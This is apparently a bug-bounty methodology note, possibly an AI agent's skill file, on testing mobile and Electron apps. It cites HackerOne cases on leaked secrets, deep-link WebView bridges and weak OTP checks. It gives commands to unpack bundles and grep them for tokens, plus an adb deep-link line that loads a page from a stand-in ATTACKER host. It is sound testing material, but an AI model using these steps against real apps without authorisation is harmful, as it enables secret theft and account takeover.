Mobile & Thick-Client

> Mobile apps and desktop wrappers ship code and secrets to the attacker's device, expose extra IPC > surface (deep links, WebViews, exported components), and often talk to backend endpoints the web > app never exposes. In the corpus, mobile bugs cluster around three things: leaked secrets in the > shipped bundle, deep-link → WebView → JS-bridge chains, and weaker auth on mobile-only > flows. (206 mined cases touch mobile.)

§1. Secrets in the shipped app

The bundle is a manifest of the backend. Decompile it.

apktool d app.apk ; jadx app.apk # Android # Electron/desktop: unpack the asar npx asar extract app.asar out/ ; grep -rEi 'token|secret|api[_-]?key|\.env' out/

#1087489 (v1548): GitHub PAT leaked in a shipped Electron app (.env inside app.asar).
#397527: secrets in public GitHub → Electron app.asar → live third-party tokens.
#232650: static Basic-auth token embedded in the mobile app.

See 0.

§2. Deep links / custom schemes → WebView → JS bridge

An exported deep-link handler that loads an attacker URL into a WebView with a JS↔native bridge is XSS-with-native-powers.

# Android: fire the deep link (adb) at an exported handler adb shell am start -a android.intent.action.VIEW -d "grab://open?page=https://ATTACKER/p.html"

#401793 (v547): insecure deeplink loads attacker URL in WebView with JS bridge → data exfil.
#341908: DM/compose deeplink text param → HTML injection with mXSS obfuscation.
#1946534: QR scanner auto-navigates without confirmation → forced drive-by download.
#583987: mobile deeplink performs a state-change the web app gates with a confirmation.

See 0, 1, 2.

§3. Weaker auth on mobile-only flows

#743545: brute-force SMS recovery OTP, no attempt limit.
#2588329: phone-change OTP accepts static code 0000.
#766578: brute-force login PIN due to a non-expiring login token.
#470749: SMS/USSD command feature authenticated by spoofable caller-ID.

See 0.

§4. Transport & platform

#423467: accept new public key without ACK validation → PoS MiTM. Test certificate pinning

bypass (Frida/objection) and cleartext endpoints; see 0, 1.

Open cloud storage backing the app: #404822 (open S3 bucket exposes app source & config) —

see 0/1.

§Tooling

apktool, jadx, dex2jar, objection/frida (pinning bypass, method hooking), adb (deep-link firing, logcat), Burp with device proxy, asar for Electron. See the many Android skills under ~/.claude/skills/ (ahh-, ha-, lpad-, ssl-pin-).

§References

Cross-links: 0, 1,

0, 1.

hackerone.com/reports/{1087489,401793,743545,766578,423467,404822,341908,1946534}.